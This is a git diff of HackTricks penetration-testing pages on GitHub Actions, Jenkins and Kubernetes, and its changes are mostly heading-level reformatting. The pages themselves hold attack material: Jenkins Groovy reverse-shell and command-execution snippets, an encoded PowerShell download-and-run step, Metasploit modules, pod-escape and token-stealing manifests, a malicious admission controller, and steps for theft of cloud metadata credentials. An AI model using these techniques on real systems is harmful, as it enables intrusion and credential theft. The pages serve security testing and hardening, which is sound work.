triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. -### Bypass Environments Protections +## Bypass Environments Protections For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). @@ -294,7 +292,7 @@ Note, that you might find the edge case where **all the branches are protected** Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. -## Persistence +# Persistence * Generate **user token** * Steal **github tokens** from **secrets** diff --git a/cloud-security/github-security/basic-github-information.md b/cloud-security/github-security/basic-github-information.md index bf633c26..af7f2b2a 100644 --- a/cloud-security/github-security/basic-github-information.md +++ b/cloud-security/github-security/basic-github-information.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Basic Github Information - -## Basic Structure +# Basic Structure The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. @@ -29,14 +27,14 @@ Moreover, a user may be **part of different teams** with different enterprise, o And finally **repositories may have special protection mechanisms**. -## Privileges +# Privileges -### Enterprise Roles +## Enterprise Roles * **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository * **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. -### Organization Roles +## Organization Roles In an organisation users can have different roles: @@ -50,7 +48,7 @@ In an organisation users can have different roles: You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +## Members Privileges In _https://github.com/organizations/\/settings/member\_privileges_ you can see the **permissions users will have just for being part of the organisation**. @@ -64,7 +62,7 @@ The settings here configured will indicate the following permissions of members * The permissions admins has over the repositories * If members can create new teams -### Repository Roles +## Repository Roles By default repository roles are created: @@ -78,39 +76,39 @@ You can **compare the permissions** of each role in this table [https://docs.git You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ -### Teams +## Teams You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team. ![](<../../.gitbook/assets/image (630) (1).png>) -### Users +## Users The users of an organization can be **listed** in _https://github.com/orgs/\/people._ In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. -## Github Authentication +# Github Authentication Github offers different ways to authenticate to your account and perform actions on your behalf. -### Web Access +## Web Access Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). -### **SSH Keys** +## **SSH Keys** You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) -#### **GPG Keys** +### **GPG Keys** You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Personal Access Tokens** +## **Personal Access Tokens** You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth Applications +## Oauth Applications Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. @@ -127,7 +125,7 @@ Some **security recommendations**: * **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. * **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). -### Github Applications +## Github Applications Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. @@ -149,19 +147,19 @@ Some security recommendations: * If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." * **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). -### Deploy keys +## Deploy keys Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. -### Github Actions +## Github Actions This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. -## Git Actions +# Git Actions Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). -### Configuration +## Configuration In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization. @@ -169,7 +167,7 @@ It's possible to disallow the use of github actions completely, **allow all gith It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the \_GITHUB\_TOKEN**\_\*\* of a Github Action when it's run\*\*. -### Git Secrets +## Git Secrets Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. @@ -184,7 +182,7 @@ steps: super_secret: ${{ secrets.SuperSecret }} ``` -#### Example using Bash +### Example using Bash ```yaml steps: @@ -203,7 +201,7 @@ Once configured in the repo or the organizations **users of github won't be able Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). -### Git Environments +## Git Environments Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: @@ -216,7 +214,7 @@ jobs: You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it. -### Git Action Box +## Git Action Box A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. @@ -230,7 +228,7 @@ It's **not possible to run a Github Action of an organization inside a self host If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. -### Git Action Compromise +## Git Action Compromise If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. @@ -242,7 +240,7 @@ A **malicious Github Action** run could be **abused** by the attacker to: * **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. {% endhint %} -## Branch Protections +# Branch Protections Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. @@ -271,7 +269,7 @@ Different protections can be applied to a branch (like to master): As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. {% endhint %} -## References +# References * [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) * [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/cloud-security/jenkins.md b/cloud-security/jenkins.md index 5a583bb0..5cdaca9e 100644 --- a/cloud-security/jenkins.md +++ b/cloud-security/jenkins.md @@ -17,14 +17,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Jenkins - -## Basic Information +# Basic Information Jenkins offers a simple way to set up a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **languages** and source code repositories using pipelines, as well as automating other routine development tasks. While Jenkins doesn’t eliminate the **need to create scripts for individual steps**, it does give you a faster and more robust way to integrate your entire chain of build, test, and deployment tools than you can easily build yourself.\ Definition from [here](https://www.infoworld.com/article/3239666/what-is-jenkins-the-ci-server-explained.html). -## Unauthenticated Enumeration +# Unauthenticated Enumeration In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: @@ -44,12 +42,12 @@ You may be able to get the Jenkins version from the path _**/oops**_ or _**/erro ![](<../.gitbook/assets/image (415).png>) -## Login +# Login You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**\ Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). -### Bruteforce +## Bruteforce **Jekins** does **not** implement any **password policy** or username **brute-force mitigation**. Then, you **should** always try to **brute-force** users because probably **weak passwords** are being used (even **usernames as passwords** or **reverse** usernames as passwords). @@ -57,33 +55,33 @@ Also if **SSO** **functionality**/**plugins** were present then you should attem msf> use auxiliary/scanner/http/jenkins_login ``` -## Jenkins Abuses +# Jenkins Abuses -### Known Vulnerabilities +## Known Vulnerabilities {% embed url="https://github.com/gquere/pwn_jenkins" %} -### Dumping builds to find cleartext secrets +## Dumping builds to find cleartext secrets Use [this script](https://github.com/gquere/pwn\_jenkins/blob/master/dump\_builds/jenkins\_dump\_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. -### Password spraying +## Password spraying Use [this python script](https://github.com/gquere/pwn\_jenkins/blob/master/password\_spraying/jenkins\_password\_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). -### Decrypt Jenkins secrets offline +## Decrypt Jenkins secrets offline Use [this script](https://github.com/gquere/pwn\_jenkins/blob/master/offline\_decryption/jenkins\_offline\_decrypt.py) to decrypt previsously dumped secrets. -### Decrypt Jenkins secrets from Groovy +## Decrypt Jenkins secrets from Groovy ``` println(hudson.util.Secret.decrypt("{...}")) ``` -## Code Execution +# Code Execution -### **Create a new project** +## **Create a new project** This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). @@ -104,7 +102,7 @@ If you are allowed to configure the project you can **make it execute commands w Click on **Save** and **build** the project and your **command will be executed**.\ If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. -### **Execute Groovy script** +## **Execute Groovy script** Best way. Less noisy. @@ -132,7 +130,7 @@ proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` -### Reverse shell in linux +## Reverse shell in linux ```python def sout = new StringBuffer(), serr = new StringBuffer() @@ -142,7 +140,7 @@ proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` -### Reverse shell in windows +## Reverse shell in windows You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: @@ -152,7 +150,7 @@ echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` -### MSF exploit +## MSF exploit You can use MSF to get a reverse shell: @@ -160,15 +158,15 @@ You can use MSF to get a reverse shell: msf> use exploit/multi/http/jenkins_script_console ``` -## POST +# POST -### Metasploit +## Metasploit ``` msf> post/multi/gather/jenkins_gather ``` -### Files to copy after compromission +## Files to copy after compromission These files are needed to decrypt Jenkins secrets: @@ -186,7 +184,7 @@ Here's a regexp to find them: grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" ``` -## References +# References {% embed url="https://github.com/gquere/pwn_jenkins" %} diff --git a/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/README.md b/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/README.md index 6d89fd4c..95dbc1a3 100644 --- a/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/README.md @@ -17,12 +17,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Abusing Roles/ClusterRoles in Kubernetes - Here you can find some potentially dangerous Roles and ClusterRoles configurations.\ Remember that you can get all the supported resources with `kubectl api-resources` -## **Privilege Escalation** +# **Privilege Escalation** Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**: @@ -32,7 +30,7 @@ Referring as the art of getting **access to a different principal** within the c * Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any) * A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod. -### **Access Any Resource or Verb** +## **Access Any Resource or Verb** This privilege provides access to **any resource with any verb**. It is the most substantial privilege that a user can get, especially if this privilege is also a “ClusterRole.” If it’s a “ClusterRole,” than the user can access the resources of any namespace and own the cluster with that permission. @@ -48,7 +46,7 @@ rules: verbs: ["*"] ``` -### **Access Any Resource** +## **Access Any Resource** Giving a user permission to **access any resource can be very risky**. But, **which verbs** allow access to these resources? Here are some dangerous RBAC permissions that can damage the whole cluster: @@ -68,7 +66,7 @@ rules: verbs: ["create", "list", "get"] ``` -### Pod Create - Steal Token +## Pod Create - Steal Token An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**. @@ -105,7 +103,7 @@ So just create the malicious pod and expect the secrets in port 6666: ![](<../../../.gitbook/assets/image (464).png>) -### **Pod Create & Escape** +## **Pod Create & Escape** The following definition gives all the privileges a container can have: @@ -170,7 +168,7 @@ Now that you can escape to the node check post-exploitation techniques in: [attacking-kubernetes-from-inside-a-pod.md](../../../pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md) {% endcontent-ref %} -#### Stealth +### Stealth You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template: @@ -183,7 +181,7 @@ You probably want to be **stealthier**, in the following pages you can see what _You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)\_\_ -### Pod Create - Move to cloud +## Pod Create - Move to cloud If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\ Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance. @@ -194,7 +192,7 @@ For more information check: [kubernetes-access-to-other-clouds.md](../kubernetes-access-to-other-clouds.md) {% endcontent-ref %} -### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** +## **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to **develop pods and even create pods**. So it's possible to a**buse them to escalate privileges just like in the previous example.** @@ -233,7 +231,7 @@ Kubernetes API documentation indicates that the “**PodTemplateSpec**” endpoi **So, the privilege to create or update tasks can also be abused for privilege escalation in the cluster.** -### **Pods Exec** +## **Pods Exec** **Pod exec** is an option in kubernetes used for **running commands in a shell inside a pod**. This privilege is meant for administrators who want to **access containers and run commands**. It’s just like creating a SSH session for the container. @@ -245,7 +243,7 @@ kubectl exec -it -n -- sh Note that as you can get inside any pod, you can abuse other pods token just like in [**Pod Creation exploitation**](./#pod-creation) to try to escalate privileges. -### port-forward +## port-forward This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod: @@ -253,7 +251,7 @@ This permission allows to **forward one local port to one port in the specified kubectl port-forward pod/mypod 5000:5000 ``` -### **Hosts Writable /var/log/ Escape** +## **Hosts Writable /var/log/ Escape** As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)\*\*,\*\*If you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\ This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs `), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\ @@ -287,7 +285,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// **A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### Bypassing readOnly protection +### Bypassing readOnly protection If you are lucky enough and the highly privileged capability capability `CAP_SYS_ADMIN` is available, you can just remount the folder as rw: @@ -295,7 +293,7 @@ If you are lucky enough and the highly privileged capability capability `CAP_SYS mount -o rw,remount /hostlogs/ ``` -#### Bypassing hostPath readOnly protection +### Bypassing hostPath readOnly protection As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection: @@ -353,7 +351,7 @@ spec: name: task-pv-storage-vol ``` -### **Impersonating privileged accounts** +## **Impersonating privileged accounts** With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account. @@ -377,7 +375,7 @@ curl -k -v -XGET -H "Authorization: Bearer " \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### **Listing Secrets** +## **Listing Secrets** The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster – including the admin keys**. The secret key is a JWT token encoded in base64. @@ -391,7 +389,7 @@ curl -v -H "Authorization: Bearer " https://:/api/v1 ![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png) -### **Reading a secret – brute-forcing token IDs** +## **Reading a secret – brute-forcing token IDs** An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the _**listing** **secrets**_ permission described above. @@ -419,7 +417,7 @@ This means that there are 275 = 14,348,907 possibilities for a token. An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges. -## Built-in Privileged Escalation Prevention +# Built-in Privileged Escalation Prevention Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation. @@ -445,7 +443,7 @@ After trying to do so, we will receive an error “forbidden: attempt to grant e ![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden\_attempt\_to\_gran\_extra\_privileges\_message-1024x288.png) -### **Get & Patch RoleBindings/ClusterRoleBindings** +## **Get & Patch RoleBindings/ClusterRoleBindings** {% hint style="danger" %} **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** @@ -501,13 +499,13 @@ curl -k -v -X POST -H "Authorization: Bearer "\ https://:/api/v1/namespaces/kube-system/secret ``` -## Other Attacks +# Other Attacks -### S**idecar proxy app** +## S**idecar proxy app** By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod. -#### Create a sidecar proxy app +### Create a sidecar proxy app Create your .yaml @@ -552,7 +550,7 @@ kubectl logs app -C proxy More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Malicious Admission Controller +## Malicious Admission Controller An admission controller is a piece of code that **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**. @@ -596,7 +594,7 @@ kubectl describe po nginx | grep "Image: " As you can see in the above image, we tried running image `nginx` but the final executed image is `rewanthtammana/malicious-image`. What just happened!!? -#### Technicalities +### Technicalities We will unfold what just happened. The `./deploy.sh` script that you executed, created a mutating webhook admission controller. The below lines in the mutating webhook admission controller are responsible for the above results. @@ -610,9 +608,9 @@ patches = append(patches, patchOperation{ The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`. -## Best Practices +# Best Practices -### **Prevent service account token automounting on pods** +## **Prevent service account token automounting on pods** When a pod is being created, it automatically mounts a service account (the default is default service account in the same namespace). Not every pod needs the ability to utilize the API from within itself. @@ -626,15 +624,15 @@ It is also possible to use it on the pod:\\ ![](https://www.cyberark.com/wp-content/uploads/2018/12/pod\_with\_autoamountServiceAccountToken\_false.png) -### **Grant specific users to RoleBindings\ClusterRoleBindings** +## **Grant specific users to RoleBindings\ClusterRoleBindings** When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups. -### **Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings** +## **Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings** When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security. -### **Use automated tools** +## **Use automated tools** {% embed url="https://github.com/cyberark/KubiScan" %} @@ -642,7 +640,7 @@ When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster {% embed url="https://github.com/aquasecurity/kube-bench" %} -## **References** +# **References** {% embed url="https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions" %} diff --git a/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/k8s-roles-abuse-lab.md b/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/k8s-roles-abuse-lab.md index 6e079e05..4e1ee0e0 100644 --- a/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/k8s-roles-abuse-lab.md +++ b/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/k8s-roles-abuse-lab.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# K8s Roles Abuse Lab - You can run these labs just inside **minikube**. -## Pod Creation -> Escalate to ns SAs +# Pod Creation -> Escalate to ns SAs We are going to create: @@ -128,7 +126,7 @@ kubectl delete role test-r kubectl delete serviceaccount test-sa ``` -## Create Daemonset +# Create Daemonset ```bash # Create Service Account test-sa @@ -226,7 +224,7 @@ kubectl delete role test-r kubectl delete serviceaccount test-sa ``` -### Patch Daemonset +## Patch Daemonset In this case we are going to **patch a daemonset** to make its pod load our desired service account. @@ -347,9 +345,9 @@ kubectl delete role test-r kubectl delete serviceaccount test-sa ``` -## Doesn't work +# Doesn't work -### Create/Patch Bindings +## Create/Patch Bindings **Doesn't work:** @@ -439,7 +437,7 @@ kubectl delete serviceaccount test-sa kubectl delete serviceaccount test-sa2 ``` -### Bind explicitly Bindings +## Bind explicitly Bindings In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.\ However, it didn't work for me: @@ -576,7 +574,7 @@ kubectl delete serviceaccount test-sa kubectl delete serviceaccount test-sa2 ``` -### Arbitrary roles creation +## Arbitrary roles creation In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has: @@ -610,7 +608,7 @@ roleRef: ' | kubectl apply -f - # Try to create a role over all the resources with "create" and "patch" -## This won't wotrk +# This won't wotrk echo 'kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: diff --git a/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md b/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md index b1867009..a6089cd9 100644 --- a/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md +++ b/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Pod Escape Privileges - -## Privileged and hostPID +# Privileged and hostPID With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\ Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp). @@ -51,7 +49,7 @@ spec: #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name ``` -## Privileged only +# Privileged only diff --git a/cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md b/cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md index 8837c72f..670d4f72 100644 --- a/cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md +++ b/cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Kubernetes Access to other Clouds - -## GCP +# GCP If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that: -### Mounting GCP-SA keys as secret +## Mounting GCP-SA keys as secret A common way to give **access to a kubernetes application to GCP** is to: @@ -37,7 +35,7 @@ A common way to give **access to a kubernetes application to GCP** is to: Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials. {% endhint %} -### GKE Workload Identity +## GKE Workload Identity With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs. @@ -87,9 +85,9 @@ for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep - done | grep -B 1 "gcp-service-account" ``` -## AWS +# AWS -### Kiam & Kube2IAM (IAM role for Pods) +## Kiam & Kube2IAM (IAM role for Pods) An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it. @@ -134,7 +132,7 @@ metadata: As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles). {% endhint %} -#### Create Pod with IAM Role +### Create Pod with IAM Role {% hint style="info" %} The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it. @@ -156,7 +154,7 @@ spec: args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### Workflow of IAM role for Service Accounts via OIDC +## Workflow of IAM role for Service Accounts via OIDC This is the recommended way by AWS. @@ -183,7 +181,7 @@ Moreover, if you are inside a pod, check for env variables like **AWS\_ROLE\_ARN {% endhint %} -### Find Pods a SAs with IAM Roles in the Cluster +## Find Pods a SAs with IAM Roles in the Cluster This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**: @@ -204,7 +202,7 @@ for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep - done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role +## Node IAM Role The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have a new IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_). @@ -214,7 +212,7 @@ There is however an important requirement to access the metadata endpoint from t kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Steal IAM Role Token +## Steal IAM Role Token Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it. @@ -231,7 +229,7 @@ if [ "$IAM_ROLE_NAME" ]; then fi ``` -## References +# References * [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) * [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) diff --git a/cloud-security/pentesting-kubernetes/kubernetes-enumeration.md b/cloud-security/pentesting-kubernetes/kubernetes-enumeration.md index 8e15082e..c832471f 100644 --- a/cloud-security/pentesting-kubernetes/kubernetes-enumeration.md +++ b/cloud-security/pentesting-kubernetes/kubernetes-enumeration.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Kubernetes Enumeration - -## Kubernetes Tokens +# Kubernetes Tokens If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**. @@ -27,7 +25,7 @@ In this folder you might find config files with **tokens and configurations to c If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env: -### Service Account Tokens +## Service Account Tokens Before continuing, if you don't know what is a service in Kubernetes I would suggest you to [**follow this link and read at least the information about Kubernetes architecture**](../../pentesting/pentesting-kubernetes/#architecture)**.** @@ -62,15 +60,15 @@ Default location on **Minikube**: * /var/lib/localkube/certs -### Hot Pods +## Hot Pods _**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc. -## RBAC +# RBAC If you don't know what is **RBAC**, [**read this section**](../../pentesting/pentesting-kubernetes/#cluster-hardening-rbac). -## 